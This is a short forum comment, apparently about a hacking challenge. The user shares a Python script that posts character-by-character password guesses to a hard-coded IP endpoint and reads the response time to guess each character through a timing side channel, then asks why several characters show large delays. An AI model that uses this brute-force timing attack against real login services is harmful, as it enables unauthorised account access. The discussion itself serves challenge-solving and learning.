Better HN
topnewbestaskshowjobs
Log inSign up

adv-it

1 karma · joined May 11, 2019 (7y ago) · 2 submissions

Submissions

comment 7y ago · link · parent

On Python I used this:

CHARACTERS = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-=[]{}|\/?,.<>`~"

URL = "http://35.246.158.51:8070/auth/v1_1"

HEADERS = {'User-Agent' : 'ed9ae2c0-9b15-4556-a393-23d500675d4b', 'content-type' : 'application/json; charset=utf-8' }

PAYLOAD ={}

for i in range(len(CHARACTERS)):

    PAYLOAD['Seed']     = "6711d2ec0d724396ad1570fcfb431443"

    PAYLOAD['Password'] = "" + CHARACTERS[i]

    r = requests.post(url=URL, json=PAYLOAD, headers=HEADERS)

    result = r.json()

    delay = result['Time']

    print(str(PAYLOAD) + " - " + str(delay))

But for first character I don't see really huge DELAY response, always I have few characters with big delay and not only one.